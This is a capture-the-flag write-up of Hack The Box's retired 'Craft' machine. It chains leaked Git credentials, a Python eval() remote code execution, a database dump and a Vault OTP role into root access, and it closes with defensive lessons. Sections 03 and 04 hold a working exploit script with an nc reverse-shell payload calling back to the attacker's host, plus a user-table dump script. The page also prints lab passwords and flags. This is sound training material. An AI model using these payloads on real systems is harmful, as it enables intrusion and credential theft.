



RETIRED MACHINE

Craft

Machine Writeup · Hack The Box

4.5 ★

RATING

Medium

DIFFICULTY

Linux

OS

8,412

USER OWNS

7,891

SYSTEM OWNS

30

POINTS

MACHINE SYNOPSIS

Craft is a Medium Linux machine themed around the HBO Silicon Valley series. Subdomain enumeration reveals `api.craft.htb` (REST API) and `gogs.craft.htb` (Git service). A Gogs commit history exposes dinesh's credentials (`dinesh:4aUh0A8PbVJxgd`). The API's `/brew` POST endpoint uses Python `eval()` on the `abv` field — a critical RCE. A crafted Python reverse shell script lands a shell inside a Docker container. `settings.py` reveals MySQL credentials; modifying `dbtest.py` dumps the user table, yielding gilfoyle's password (`ZEU3N8WNM2rh4T`). Logging into Gogs as gilfoyle reveals a private `craft-infra` repository containing an SSH private key (passphrase: `ZEU3N8WNM2rh4T`). SSH on port 22 grants the user flag. Gilfoyle's home directory contains a Vault token, and the `craft-infra` repo documents a Vault OTP SSH role for root. `vault ssh -mode=otp -role=root_otp` generates a one-time password for root SSH — full machine compromise.

CONTENTS

01 Reconnaissance & Subdomain Enumeration

02 Gogs — Commit History & Credentials Leak

03 API Token + `eval()` RCE — Docker Shell

04 Docker Container — `settings.py` & `dbtest.py`

05 MySQL Dump → gilfoyle SSH Key → User Flag

06 HashiCorp Vault OTP SSH → Root

07 Lessons Learned



Martí Hervás
Penetration Tester · Hack The Box · 2026

01

Reconnaissance & Subdomain Enumeration

TTL 63 confirms Linux. Nmap reveals three ports: SSH (22), HTTPS (443), and port 6022 running **SSH-2.0-Go** — a Go-based SSH service (Gogs Git). WhatWeb identifies nginx/1.15.8 on port 443 serving the Craft main site. Subdomain fuzzing with wfuzz discovers **api.craft.htb** (REST API with Swagger docs) and **gogs.craft.htb** (Gogs self-hosted Git service). The `/etc/hosts` file is updated with all subdomains. The Gogs instance at `gogs.craft.htb` hosts the **craft/craft-api** repository containing the full API source code — readable without authentication.

NMAP — PORT DISCOVERY + VERSIONS

nmap — Linux, nginx/1.15.8, Gogs on port 6022

```
$ ping -c 1 10.129.7.125 # TTL 63 -> Linux

$ nmap -Pn -n --open -p- --min-rate 5000 10.129.7.125 -oG allPorts
[*] Open ports: 22,443,6022

$ nmap -Pn -n -sCV -p22,443,6022 10.129.7.125 -oN target_tcp
22/tcp    open  ssh      OpenSSH 7.4p1 Debian
443/tcp   open  https    nginx/1.15.8
6022/tcp  open  ssh      SSH-2.0-Go <- Gogs Git service!

# /etc/hosts:
10.129.7.125 craft.htb api.craft.htb gogs.craft.htb
```

WFUZZ — SUBDOMAIN DISCOVERY

wfuzz — api.craft.htb + gogs.craft.htb discovered

```
$ whatweb https://craft.htb
https://craft.htb [200 OK] Bootstrap[3.1.1], nginx[1.15.8], Title[About]

$ wfuzz -c --hh=3779 -t 50 -w /usr/share/seclists/.../DirBuster-medium.txt \
-H 'Host: FUZZ.craft.htb' 'https://craft.htb'

000001026: 404 'api' -> api.craft.htb (REST API + Swagger UI)
... 'gogs' -> gogs.craft.htb (Gogs Git service)

# api.craft.htb -> Swagger UI with all API endpoints documented
# gogs.craft.htb -> craft/craft-api repo publicly readable
# gogs.craft.htb -> port 6022 for Git SSH access
```

NOTE

Port 6022 running SSH-2.0-Go is the telltale signature of a Gogs Git service — it uses Go's built-in SSH server for Git over SSH operations. The Swagger UI at `api.craft.htb` reveals all API endpoints and their parameters without authentication, providing a roadmap for the attack.

02

Gogs — Commit History & Leaked Credentials

The **craft/craft-api** Gogs repository is publicly readable. Reviewing the **commit history** reveals a critical mistake by dinesh: an early commit inadvertently included his API credentials in hardcoded form inside test.py (**dinesh:4aUh0A8PbVJxgd**). Gilfoyle responded in a subsequent commit pointing out the security issue and removing the credentials. The commit also exposes the **brew.py** source code, revealing that the abv parameter in POST /brew uses Python's eval() to validate the alcohol content — a dangerous code execution primitive.

GOGS — COMMIT HISTORY REVIEW

Gogs commit history — dinesh:4aUh0A8PbVJxgd exposed in old commit

```
# Navigate to: https://gogs.craft.htb/craft/craft-api/commits/branch/master

# Dinesh's commit (early): 'Add test script'
# File: test.py (OLD version) contains hardcoded credentials:
response = requests.get(
    'https://api.craft.htb/api/auth/login',
    auth=('dinesh', '4aUh0A8PbVJxgd'),
    verify=False
)

# Gilfoyle's response commit: 'Cleanup test script'
# Removes the credentials -- but they live forever in git history!

# Credentials leaked: dinesh : 4aUh0A8PbVJxgd
```

BREW.PY SOURCE — eval() VULNERABILITY IDENTIFIED

brew.py — eval() on abv field = RCE primitive identified

```
# brew.py from the repository (vulnerable endpoint):
@auth.auth_required
def post(self):
    """Add a new brew"""
    ...
    # Make sure the ABV value is sane.
    if eval('%s > 1' % request.json['abv']):
        return 'ABV must be a decimal value less than 1.0', 400
    else:
        ...

# eval() on user-controlled input -> arbitrary Python code execution!
# abv field is passed directly to eval() without sanitisation
# Example payload: abv = '__import__("os").system("id")'
```

NOTE

Git history is permanent — removing credentials from the latest commit does NOT remove them from the repository history. Every commit is hashed and stored in the .git/objects directory. Use git log, git diff, or tools like truffleHog and gitleaks to scan repository histories for secrets. Once exposed in a public repo, credentials must be immediately rotated regardless of cleanup.

03

API Token + eval() RCE — Docker Container Shell

With dinesh's credentials, the `/api/auth/login` endpoint returns a JWT token (**X-Craft-API-Token**). This token is included in subsequent authenticated requests. A Python script authenticates, then sends a POST request to `/api/brew` with the `abv` field set to a reverse shell payload. The `eval()` executes the payload as the **root** user inside the Docker container, and a reverse shell connects back on port 443. Enumeration of the container's network interfaces (`ifconfig`) shows the container sits on `172.20.0.9/16` — confirming Docker isolation from the host.

STEP 1 — GET API TOKEN WITH DINESH CREDENTIALS

Python — authenticate as dinesh, obtain X-Craft-API-Token

```
import requests, json
requests.packages.urllib3.disable_warnings()

# Authenticate and get JWT token:
response = requests.get(
    'https://api.craft.htb/api/auth/login',
    auth=('dinesh', '4aUh0A8PbVJxgd'),
    verify=False
)
token = json.loads(response.text)['token']
# Returns: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9...
```

STEP 2 — eval() RCE REVERSE SHELL PAYLOAD

rce.py — eval() abv payload triggers mkfifo reverse shell

```
# RCE exploit script (rce.py):
headers = {'X-Craft-API-Token': token, 'Content-Type': 'application/json'}

# Reverse shell payload in abv field:
payload = {
    'name': 'test',
    'brewer': 'test',
    'style': 'test',
    'abv': '__import__("os").system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.X 443 >/tmp/f')
}

response = requests.post(
    'https://api.craft.htb/api/brew/',
    headers=headers,
    json=payload,
    verify=False
)

# Start listener before running: nc -nvlp 443
```

REVERSE SHELL — DOCKER CONTAINER CONFIRMED

nc shell — root inside Docker container 172.20.0.9

```
$ nc -nvlp 443
connect to [10.10.14.X] from craft.htb [10.129.7.125] 40772
/bin/sh: can't access tty; job control turned off

# whoami & network check:
/ # whoami
root
/ # ifconfig eth0
eth0  inet addr:172.20.0.9  Bcast:172.20.255.255  Mask:255.255.0.0

# Confirmed inside Docker container (172.20.0.0/16 subnet)
# Host is likely 172.20.0.1 or accessible via hostname 'db'
```

NOTE

Python's `eval()` executes arbitrary Python expressions. `__import__('os')` imports the `os` module inside the `eval` context, giving full command execution. The `mkfifo` reverse shell technique creates a named pipe for bidirectional communication over a single netcat connection. Since the container runs as `root`, there is no privilege escalation step needed within the container.

04

Docker Container — settings.py & dbtest.py

Inside the container at `/opt/app/craft_api/`, **settings.py** contains the MySQL database credentials: **craft:qLGockJ6G2J750** connecting to host **db**. The file **dbtest.py** at `/opt/app/` provides a ready-made database connection test script. The script is modified to dump all rows from the **user** table by changing `fetchone()` to `fetchall()` and the SQL query to `SELECT * FROM user`. Running the modified script returns credentials for all three users: `dinesh`, `ebachman`, and `gilfoyle`.

SETTINGS.PY — DATABASE CREDENTIALS

settings.py — MySQL craft:qLGockJ6G2J750 @ db

```
/opt/app/craft_api # cat settings.py

FLASK_SERVER_NAME = 'api.craft.htb'
FLASK_DEBUG = False
CRAFT_API_SECRET = 'hz660CkDtv8G6D'

# Database credentials:
MYSQL_DATABASE_USER = 'craft'
MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J750'
MYSQL_DATABASE_DB = 'craft'
MYSQL_DATABASE_HOST = 'db'  <- Docker internal hostname
```

MODIFIED DBTEST.PY — DUMP ALL USERS

dbtest.py modified — SELECT * FROM user, fetchall()

```
# Original dbtest.py query (fetchone):
# sql = 'SELECT id, brewer, name, abv from brew LIMIT 1'

# Modified to dump user table (fetchall):
import pymysql
from craft_api import settings

connection = pymysql.connect(
    host=settings.MYSQL_DATABASE_HOST,
    user=settings.MYSQL_DATABASE_USER,
    password=settings.MYSQL_DATABASE_PASSWORD,
    db=settings.MYSQL_DATABASE_DB,
    cursorclass=pymysql.cursors.DictCursor
)
cursor = connection.cursor()
cursor.execute('SELECT * FROM user')
print(cursor.fetchall())
```

DATABASE DUMP — 3 USER CREDENTIALS

MySQL dump — dinesh, ebachman, gilfoyle credentials recovered

```
/opt/app # python3 example3.py

[
  {'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'},
  {'id': 4, 'username': 'ebachman', 'password': 'l1J77D8QFkLPQB'},
  {'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}
]

# Test SSH with all 3 passwords -> none work directly
# But Gogs login as gilfoyle works!
# gilfoyle:ZEU3N8WNM2rh4T -> private craft-infra repository
```

05

Gogs craft-infra → SSH Private Key → User Flag

Logging into Gogs as **gilfoyle:ZEU3N8WNM2rh4T** reveals a private repository: **gilfoyle/craft-infra**. This infrastructure repository contains configuration for all services (nginx, flask, mysql, vault) and critically, a **.ssh/** directory with a private key (**id_rsa**). The key is protected by a passphrase — which turns out to be gilfoyle's own password reused: **ZEU3N8WNM2rh4T**. SSH on port 22 with the key grants a shell as **gilfoyle** on the host machine (not the container) and the user flag is on the Desktop.

GOGS — gilfoyle PRIVATE REPO craft-infra

craft-infra repo — .ssh/id_rsa + vault/ secrets for privesc

```

# Login to gogs.craft.htb as gilfoyle:ZEU3N8WNM2rh4T
# -> Private repository: gilfoyle/craft-infra

# Repository structure:
craft-infra/
  .ssh/
    id_rsa      <- SSH private key (passphrase protected!)
    id_rsa.pub
  mysql/
    init.sql    <- DB schema with user table
  vault/
    secrets.sh  <- Vault OTP SSH role configuration
    config/
      vault.hcl <- Vault server config
  nginx/ flask/ <- service configs

# Copy id_rsa to attacker -> try passphrase = ZEU3N8WNM2rh4T -> WORKS!

```

SSH AS GILFOYLE — USER FLAG

SSH gilfoyle — user flag on host machine (not container)

```

$ chmod 600 id_rsa
$ ssh -i id_rsa gilfoyle@craft.htb
Enter passphrase for key 'id_rsa': ZEU3N8WNM2rh4T

.  *    ..  . *  *
*  * @()0oc()*  o  .
   (Q@*0CG*0()  ____
  | \_____/ | / _ \

gilfoyle@craft:~$ whoami
gilfoyle

gilfoyle@craft:~$ cat user.txt
b111de8c76bcf723d882165194325af3

# Now on HOST machine (not container) - Debian 6.1.0-12-amd64

```

NOTE

Password reuse between the database account and SSH key passphrase is a critical security mistake. The private key for SSH access should use a unique, strong passphrase unrelated to any other credential. Infrastructure repositories containing SSH keys, service configs and secrets should never be stored in developer-accessible Git repositories, even in 'private' repos.

06

HashiCorp Vault OTP SSH → Root

Gilfoyle's home directory contains a hidden file `.vault-token` with a pre-authenticated Vault token. The `craft-infra` repository's `vault/secrets.sh` script shows that Vault has been configured with an OTP (One-Time Password) SSH secrets engine role named `root_otp` for the root user. The `vault ssh` command generates a single-use OTP and opens an SSH session to `127.0.0.1` as root — the OTP is displayed and entered as the SSH password. The root flag is on root's Desktop.

VAULT TOKEN + secrets.sh CONFIGURATION

craft-infra vault/secrets.sh — root_otp role configured

```
gilfoyle@craft:~$ cat .vault-token
f1783c8d-41c7-0b12-d1c4-396f7a7aa1ef

# craft-infra/vault/secrets.sh (from Gogs):
#!/bin/bash
export VAULT_ADDR='http://127.0.0.1:8200'
export VAULT_TOKEN='f1783c8d-41c7-0b12-d1c4-396f7a7aa1ef'

vault secrets enable ssh

vault write ssh/roles/root_otp \
  key_type=otp \
  default_user=root \
  cidr_list=0.0.0.0/0

# OTP role: generates one-time passwords for SSH login as root
```

VAULT SSH OTP — ROOT SHELL + ROOT FLAG

vault ssh OTP — root@127.0.0.1, root flag obtained

```
gilfoyle@craft:~$ export VAULT_ADDR='http://127.0.0.1:8200'

gilfoyle@craft:~$ vault ssh -mode=otp -role=root_otp root@127.0.0.1
Vault could not locate 'sshpas'. The OTP code for the session is displayed
below. Enter this code in the SSH password prompt.

OTP for the session is: 12a7c76b-538a-b4eb-1d1d-55de8a313a83

Password: [enter OTP above]
Linux craft.htb 6.1.0-12-amd64 #1 SMP Debian 6.1.52-1

root@craft:~# whoami
root

root@craft:~# cat root.txt
c884838653a406cb04df95aeb901f837

# MACHINE COMPROMISED — root via Vault OTP SSH
```

NOTE

HashiCorp Vault's OTP SSH secrets engine generates a single-use random password that is valid for one SSH session only. The vault ssh command handles the full flow: request OTP from Vault, initiate SSH, and inject the password. If sshpass is not installed, the OTP is displayed for manual entry. The critical security issue here is that gilfoyle's vault token grants direct access to generate root OTPs — the token should have been scoped to read-only or non-privileged roles.

07**Lessons Learned****01 Credentials in Git History Are Permanently Exposed**

Dinesh committed API credentials to the repository and Gilfoyle removed them, but the credentials remained visible in the git commit history forever. Use tools like git-filter-repo or BFG Repo Cleaner to rewrite history, and immediately rotate any exposed credentials. Implement pre-commit hooks with gitleaks or truffleHog to prevent secrets from entering history at all.

02 Python eval() on User Input Is Instant Remote Code Execution

The brew.py endpoint called eval('%s > 1' % request.json['abv']) on attacker-controlled data. eval() executes arbitrary Python code — there is no safe way to use it on untrusted input. Replace with float(abv) > 1 for numeric comparison. Never use eval(), exec(), or compile() on user-supplied data, regardless of perceived context or surrounding validation.

03 Database Credentials in Application Config Files Enable Lateral Movement

settings.py stored plaintext MySQL credentials readable by anyone with filesystem access (including the container's eval() RCE). Configuration files with secrets should use environment variables or a secrets manager, not hardcoded values in source code. Container workloads should follow least-privilege: application DB users need only SELECT/INSERT, not full access.

04 SSH Private Keys in Git Repositories Expose Host Access

The craft-infra repository stored gilfoyle's private SSH key, and the passphrase was reused from the database password. Private keys must never be committed to any repository. Use ssh-keygen to generate unique keys per deployment, store them in a secrets manager, and enforce unique passphrases unrelated to any other credential in use.

05 Vault Token Scope Must Follow Least Privilege

Gilfoyle's .vault-token granted access to generate root SSH OTPs — essentially a path to full root access for any user who could read the token file. Vault tokens should be scoped to the minimum required policy. OTP SSH roles for privileged users should require additional authentication factors or be restricted to specific source IPs. Audit vault policies regularly.

Writeup authored by Marti Hervas · Hack The Box · Craft Machine · 2026